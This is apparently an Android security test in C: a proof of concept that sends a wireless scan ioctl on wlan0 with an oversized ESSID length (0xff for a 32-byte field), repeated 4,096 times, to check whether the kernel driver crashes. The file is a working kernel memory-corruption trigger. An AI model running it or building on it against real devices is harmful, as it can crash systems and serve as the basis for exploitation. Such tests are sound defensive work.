/** * Copyright (C) 2017 The Android Open Source Project * * Licensed under the Apache License, Version 2.0 (the "License"); * you may not use this file except in compliance with the License. * You may obtain a copy of the License at * * http://www.apache.org/licenses/LICENSE-2.0 * * Unless required by applicable law or agreed to in writing, software * distributed under the License is distributed on an "AS IS" BASIS, * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. * See the License for the specific language governing permissions and * limitations under the License. */ #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #define AID_INET 3003 /* can create AF_INET and AF_INET6 sockets */ #define AID_NET_RAW 3004 /* can create raw INET sockets */ #define AID_NET_ADMIN 3005 #define SIOCSIWPRIV 0x8B0C #define SIOCGIWNAME 0x8B01 #define SIOCGIWRANGE 0x8B0B #define SIOCSIWSCAN 0x8B18 #define SIOCSIWSPY 0x8B10 #define IW_ESSID_MAX_SIZE 32 #define IW_MAX_FREQUENCIES 32 #define SIR_MAC_MAX_SSID_LENGTH 32 #define IW_SCAN_THIS_ESSID 0x0002 typedef int __s32; typedef unsigned char __u8; typedef unsigned short __u16; struct iw_param { __s32 value; /* The value of the parameter itself */ __u8 fixed; /* Hardware should not use auto select */ __u8 disabled; /* Disable the feature */ __u16 flags; /* Various specifc flags (if any) */ }; struct iw_point { void *pointer; /* Pointer to the data (in user space) */ __u16 length; /* number of fields or size in bytes */ __u16 flags; /* Optional params */ }; struct iw_quality { __u8 qual; /* link quality (%retries, SNR, %missed beacons or better...) */ __u8 level; /* signal level (dBm) */ __u8 noise; /* noise level (dBm) */ __u8 updated; /* Flags to know if updated */ }; struct iw_freq { __s32 m; /* Mantissa */ __s16 e; /* Exponent */ __u8 i; /* List index (when in range struct) */ __u8 flags; /* Flags (fixed/auto) */ }; union iwreq_data { /* Config - generic */ char name[IFNAMSIZ]; /* Name : used to verify the presence of wireless extensions. * Name of the protocol/provider... */ struct iw_point essid; /* Extended network name */ struct iw_param nwid; /* network id (or domain - the cell) */ struct iw_freq freq; /* frequency or channel : * 0-1000 = channel * > 1000 = frequency in Hz */ struct iw_param sens; /* signal level threshold */ struct iw_param bitrate; /* default bit rate */ struct iw_param txpower; /* default transmit power */ struct iw_param rts; /* RTS threshold threshold */ struct iw_param frag; /* Fragmentation threshold */ __u32 mode; /* Operation mode */ struct iw_param retry; /* Retry limits & lifetime */ struct iw_point encoding; /* Encoding stuff : tokens */ struct iw_param power; /* PM duration/timeout */ struct iw_quality qual; /* Quality part of statistics */ struct sockaddr ap_addr; /* Access point address */ struct sockaddr addr; /* Destination address (hw/mac) */ struct iw_param param; /* Other small parameters */ struct iw_point data; /* Other large parameters */ }; struct iwreq { union { char ifrn_name[IFNAMSIZ]; } ifr_ifrn; union iwreq_data u; }; struct iw_scan_req { __u8 scan_type; __u8 essid_len; __u8 num_channels; __u8 flags; struct sockaddr bssid; __u8 essid[IW_ESSID_MAX_SIZE]; __u32 min_channel_time; /* in TU */ __u32 max_channel_time; /* in TU */ struct iw_freq channel_list[IW_MAX_FREQUENCIES]; }; int main(void) { int fd; int ret = -2; struct iwreq prIwReq; int i = 0; struct iw_scan_req *scan_req; if (getuid() != 0) return -1; gid_t gid_groups[] = {AID_INET, AID_NET_ADMIN}; setgroups(sizeof(gid_groups) / sizeof(gid_groups[0]), gid_groups); setuid(2000); fd = socket(AF_INET, SOCK_STREAM, 0); if (fd == -1) { perror("[-] socket failed!\n"); return -1; } strncpy(prIwReq.ifr_name, "wlan0", IFNAMSIZ); prIwReq.ifr_name[IFNAMSIZ - 1] = '\0'; scan_req = (struct iw_scan_req *)malloc(sizeof(struct iw_scan_req) + 0xff); memset(scan_req, 0xff, sizeof(struct iw_scan_req) + 0xff); scan_req->essid_len = 0xff; prIwReq.u.data.length = sizeof(struct iw_scan_req); prIwReq.u.data.pointer = scan_req; prIwReq.u.data.flags = IW_SCAN_THIS_ESSID; for (i = 0; i < 0x1000; ++i) { errno = 0; ret = ioctl(fd, SIOCSIWSCAN, &prIwReq); printf(" try %d times, %s crashed ? \n", i, strerror(errno)); } return 0; }